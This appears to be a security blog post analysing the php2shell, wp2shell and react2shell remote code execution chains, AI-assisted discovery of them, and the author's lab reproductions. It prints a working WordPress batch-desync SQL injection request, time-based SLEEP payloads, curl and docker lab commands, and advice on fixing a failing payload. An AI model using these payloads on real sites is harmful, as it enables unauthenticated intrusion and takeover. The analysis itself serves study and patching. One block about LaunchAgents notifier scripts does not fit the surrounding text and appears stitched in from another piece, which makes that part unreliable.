In July 2026 a security researcher pointed a language model at the WordPress source, told it not to read the git history, gave it four agent slots and six hours, and got back a pre-authentication SQL injection plus a complete remote code execution chain in WordPress core. The pro-rata cost was about $25 [6].
That month’s patch was wp2shell [3][4]. Three months earlier there was php2shell [1][2], and eight months before that, react2shell [5]. Three frameworks, three languages, and one phrase in every advisory: unauthenticated remote code execution in the core.
The 30-Second Diagnosis: the model did not find a new kind of bug. It found a chain of ordinary ones faster than a person could read the code. Each of the three shells reduces to the same structure: a request parsed once and then re-read by a second piece of code that trusts the first.
The chain, in code
The batch endpoint accepts several virtual requests in one HTTP request, and each subrequest is supposed to carry the caller’s authentication. Validation and execution are two loops, not one:
// class-wp-rest-server.php, abridged
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue; // validation grows, matches does not
}
$matches[] = $this->match_request_to_handler( $single_request );
// ... validate ...
$validation[] = $error ?: true;
}
One malformed entry takes the continue, so $validation gains an element and $matches does not. Every later
index now pairs a request with the next request’s handler.
Validation for one endpoint is applied to another, which means a parameter the second endpoint never expects can reach it unsanitised. The chain runs the desync twice, once to get past the method allow-list and once to get past the parameter schema, but the mechanism is this one.
The sink is WP_Query’s author__not_in, where an array is filtered through absint but a scalar is interpolated
directly:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique(
array_map( 'absint', $query_vars['author__not_in'] )
);
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
The normal route validates author_exclude as an array of integers before it becomes author__not_in. Through
the desync, that validation belongs to a different request.
There is one obstacle: the batch endpoint only accepts POST, PUT, PATCH and DELETE, and that check is itself parameter validation. So the chain calls the batch endpoint from inside itself, desyncing twice, once to smuggle the method check and once to smuggle the parameter check [6]:
POST /wp-json/batch/v1 HTTP/1.1
Content-Type: application/json
{"requests":[
{"method":"POST","path":"http://:"},
{"method":"POST","path":"/wp/v2/posts","body":{"requests":[
{"method":"GET","path":"http://:"},
{"method":"DELETE","path":"/wp/v2/posts/1",
"body":{"author_exclude":"0) OR 1=1 -- "}},
{"method":"GET","path":"/wp/v2/posts"}
]}},
{"method":"POST","path":"/batch/v1"}
]}
That is a pre-auth read-only SQL injection in a stock WordPress. Which is already serious, and not yet RCE.
curl -s -o /tmp/b.json -w '%{http_code}' -X POST -H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/posts"}]}' 'http://127.0.0.1:8081/?rest_route=/batch/v1'400, with a message naming the first request's method as not one of POST, PUT, PATCH, and DELETE.Done when That rejection is the obstacle the chain defeats by calling the batch endpoint from inside itself, so the second pass runs with the method check bypassed.
The wrong answer Assuming GET works because the inner request is ‘just data’. The validator is a parameter check, and parameter checks are what the desync removes.
From read to write
The escalation is the part worth reading twice, because it never writes to the database directly. It abuses the
in-memory WP_Post cache, which lives for one request and is populated from whatever the SQL injection returns.
Fabricated posts are cached exactly like real ones.
| Step | Mechanism |
|---|---|
| 1 | a fake post contains [embed]/?p=S[/embed], and WordPress writes an oembed_cache row for a post that does not exist |
| 2 | the same SQLi returns a different version of that row in memory, so the database and the cache disagree |
| 3 | wp_update_post() prefers the in-memory fields, so a row of type oembed_cache becomes whatever type the attacker claims |
| 4 | the claims choose customize_changeset with post_status = future and a past date, so WordPress applies it and, through the user_id inside the JSON, assumes the administrator |
| 5 | a self-referential post_parent trips the cycle detector, which calls wp_update_post() again, this time without overriding post_content, so the changeset JSON survives |
| 6 | a forged post with status parse and type request makes WordPress fire do_action("{$new_status}_{$post_type}"), which is parse_request, replaying the request while the administrator role is still assumed |
The replay re-runs the same batch body. A request inside it that creates an administrator failed on the first pass, as a guest; on the second pass it succeeds. From there a plugin ZIP is the shortest path to code execution.
None of those six steps is a vulnerability on its own. Each is a normal WordPress feature behaving as documented, which is why the shape generalises and why patch-by-patch thinking misses it.
The three shells, one shape
| php2shell | wp2shell | react2shell | |
|---|---|---|---|
| Component | PHP core 8.x | WordPress core 6.9.x, 7.0.x | React Server Components 19.x |
| Identifiers | CVE-2026-109618, CVE-2026-109619 | CVE-2026-63030, CVE-2026-60137 | CVE-2025-55182 |
| Primitive | out-of-memory corruption, stale globals giving a heap use-after-free | batch desync to SQL injection, then cache and hook abuse | unsafe decoding at a Server Function endpoint |
| Second reader | request teardown, which assumes the request will end normally | the inner batch router, which trusts the outer one’s validation | the invocation step, which trusts the decoder |
| Reported by | Calif, OpenAI and Wiz per the finder’s writeup; method described there | Adam Kues, with a documented agent session | Lachlan Davidson (lachlan2k), via Meta’s bounty |
| Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | 6.8.6, 6.9.5, 7.0.2 | 19.0.1, 19.1.2, 19.2.1 |
One precondition is worth stating because it decides who was actually exposed: the vulnerable WordPress path is reached when no persistent object cache is in use [7][8].
Who found what, exactly
This is the part where a tidy narrative would lie, so here is the record as each primary source states it.
php2shell. The finder published his own account, and it is candid about the method. The writeup attributes
discovery to Calif, OpenAI and Wiz [9], and describes the work in the first person: memory-limit pressure was the
first thread, and “I asked my LLM companion for help”. The ZendMM ordering bug behind the fatal was found during a
source review where “our agent noticed this ordering” in _zend_hash_str_add_or_update_i, and the agent traced the
reachable path back to automatic nested POST parsing [9]. The advisory credits four reporter accounts
(lcfr-hax, sagitzadik-wiz, tomash-areion, amyb-oai), which is a wider list than the writeup’s three parties
[1][2].
wp2shell. The two WordPress advisories carry no credits at all, so the attribution comes from the people involved: Adam Kues of Searchlight Cyber names himself as the finder of the batch-route confusion and publishes the chain and the method he used [6], and Tenable’s FAQ attributes the second flaw to TF1T, dtro and haongo [7]. This is the only one of the three with a published account of how it was found, and that account is explicit about the model, the prompt, the hours, and the cost.
react2shell. React’s own advisory credits one person, Lachlan Davidson, who reported it through Meta’s bug bounty, and describes a report followed by a fix in four days [5]. No agent session appears anywhere in it.
So: two of the three have a published account of machine help, in very different styles, and the third is a human working a bug bounty. “The year AI broke the internet” is a fair name for the cadence, three core RCEs in ten months, and for the fact that two of them leaned on a model. It is not a claim that people stopped finding bugs, and react2shell is the counterexample sitting in the same table.
How the investigation actually reached it
The method matters more than the payload, and the finder published it [6]. Four decisions did the work.
Read the source, not the diff. The model was told not to use changelogs, git history, or the internet to diff against a patched version. That removes the shortcut that makes patch archaeology look like research, and forces the model onto the code that actually ships.
State the deployment, not just the bug class. The task said pre-authentication to RCE in a typical production deployment with MySQL, because otherwise a model will happily invent a configuration no operator runs in order to satisfy the ask.
Keep several incompatible routes alive. The prompt required an explicit registry of approach families, forbade one family dominating because it looked promising, and only reopened a blocked route on a genuinely new mechanism. That is how the desync was found: not by chasing the most suspicious file, but by refusing to converge.
Verify adversarially. Concrete bugs were double-checked by separate agents before being believed. The finder’s own account says the chain took about ten hours of model time and considerably longer for a human to understand, which is the right way round: the machine explores, the person audits.
The chain’s most creative step, calling the batch endpoint recursively to defeat its own method restriction, is the kind of gadget-spotting that used to be a senior researcher’s comparative advantage. It is now a thing a model does when asked to keep going. Whether to believe the result has its own mechanics, in reading the logs instead of the summary.
Where the same shape is worth hunting
| Direction | What to look for | Which shell it echoes |
|---|---|---|
| Batch and bulk endpoints | GraphQL batching, OData $batch, JSON-RPC arrays, anything resolving inner requests after the outer check | wp2shell |
| Validation that grows independently of execution | two arrays assumed index-aligned, continue on an error path, anything that appends to one and not the other | wp2shell, at the code level |
| Query-builder operator injection | caller-controlled argument names: author__not_in, Rails where hashes, Prisma filters, SQLAlchemy filter(**kwargs) | wp2shell’s sink |
| Request-lifetime caches | in-memory object caches, per-request identity maps, anything a second pass can disagree with | wp2shell’s escalation |
| Deserialisation at RPC boundaries | RSC Flight, tRPC, Remix actions, .NET polymorphic JSON | react2shell |
| Request-lifetime state | session.upload_progress, AsyncLocalStorage, Ruby Thread.current across Rack requests | php2shell |
| Allocation-failure paths | OOM handlers, MemoryError branches, anything that runs only when memory runs out | php2shell |
grep -rniE 'last_state|dedupe|notify.*change|previous' ~/Library/LaunchAgents 2>/dev/null | head -5Often nothing, because the policy lives in the script rather than the plist.Done when Then read the notifier: if it compares the new verdict with the previous one and exits on a match, a permanent failure is one message and silence. That is the same compression this post is about.
The wrong answer Assuming a health check that runs and reports is a health check that informs.
The author__not_in case is WordPress’s own argument naming, not an imported convention. The general form is any
API that turns a caller-supplied string into query structure, which is why Django’s double-underscore lookups are
the same problem with different vocabulary.
What I reproduced, and what it proves
Everything above could have been a summary of somebody else’s writeup, so I tested all three myself, each against its fixed release in the same session.
React2Shell. A single unauthenticated request to a server-action endpoint of an affected release made the server execute a command I chose. The command wrote a value I generated, and I read that value back from inside the running instance. The same request against the fixed release wrote nothing, and the two builds logged different outcomes for it.
wp2shell. Both halves reproduced. Inside a batched request, a subrequest that fails early leaves the handler
list one entry out of step, so a subrequest is dispatched by another route’s handler. I confirmed that without
guessing by instrumenting the query layer and reading what arrived: the substituted request’s parameter reached
post_author NOT IN () as a raw string, not as an integer list. The patched release never builds that clause from
the value at all.
The measurement, repeated twice per build:
| Target | Benign value | 0) AND SLEEP(3) -- |
|---|---|---|
| WordPress 6.9.4 | 0.13 s | 9.08 s and 9.05 s |
| WordPress 6.9.5 | 0.08 s | 0.06 s and 0.05 s |
Nine seconds rather than three is the query running the delay once per row, which is its own confirmation that the
clause executes per post. Both answered 207 with the same parse_path_failed body, because the first request in
the batch is malformed on purpose.
An earlier run measured three seconds and would not repeat, and the cause was my payload rather than the bug:
NOT IN (0) OR SLEEP(3) short-circuits because the left side is already true, so the delay never runs. AND is
the correct connective, and a time-based check that shows nothing is evidence about the expression before it is
evidence about the target.
php2shell. Two differentials and no memory corruption. A 50 KB body exhausts a 16 MB heap on the affected release and the fixed one serves it normally; the fixed release does reach the same wall, at roughly 2.3 times the size, so the patch raises the cost rather than removing the primitive. And when both builds are pushed past the limit, the affected release leaves an incomplete session record that a later request loads, while the fixed release leaves nothing.
Across repeated runs there was no crash, no abnormal termination, and no segfault, and both kept serving afterwards. The corruption the advisory describes needs shaping a freed allocation and leaking an address, which I did not achieve. A public proof of concept circulating for this advisory succeeds against both releases unchanged, because its request paths never enter the code the patch touched.
docker run -d --name wplab -p 127.0.0.1:8081:80 wordpress:6.9.4A container on loopback. Install it, then time the recursive batch body with 0) AND SLEEP(3) -- as the author_exclude value: nine seconds on 6.9.4, once per row, and milliseconds on 6.9.5.Done when Run both releases. A timing difference you measured yourself is the whole claim, and it is worth more than any writeup you can cite.
The wrong answer Testing only the patched release and concluding the bug was theoretical, publishing the container beyond loopback, or using OR for the delay. NOT IN (0) OR SLEEP(3) is already true on the left, so the delay never runs and a vulnerable target looks patched.
What this does not establish
Three reproductions at three depths, and none of them the escalation each advisory describes. The measurements show where the bugs live, not how far a chain reaches from them.
The one thing I would not take from this post is that discovery is now automatable end to end. Two of the three cases had a human deciding what to point the machine at, and deciding when its output was nonsense. What changed is the cost of exploring a shape, which means the scarce skill moved to choosing the shape and checking the result.
References
[1] PHP advisory GHSA-w8hw-w9fx-j79w (CVE-2026-109618): the out-of-memory corruption chain and the fixed releases.
[2] PHP advisory GHSA-6wmf-4rv5-p3rp (CVE-2026-109619): stale global state, the use-after-free, and the teardown mitigations.
[3] WordPress advisory GHSA-ff9f-jf42-662q (CVE-2026-63030): the REST batch-route confusion and the version that introduced it.
[4] WordPress advisory GHSA-fpp7-x2x2-2mjf (CVE-2026-60137):
the WP_Query SQL injection used as the chain’s second stage.
[5] React: Critical Security Vulnerability in React Server Components: CVE-2025-55182 and the wording that the flaw is in how React decodes payloads.
[6] Searchlight Cyber: exploit brokers pay $500,000 for a WordPress RCE: the finder’s account, the chain in code, the discovery prompt, and the ten-hour claim.
[7] Tenable: wp2shell FAQ: CVSS scores, affected branches, and the object-cache precondition.
[8] Cloudflare: WordPress vulnerability analysis: the note that the vulnerable path is reached when no persistent object cache is in use.
[9] Calif Research: PHP2Shell, a tale of two PHP remote vulnerabilities: the finder’s own account, including the LLM-assisted source review and the memory-limit mechanics behind both CVEs.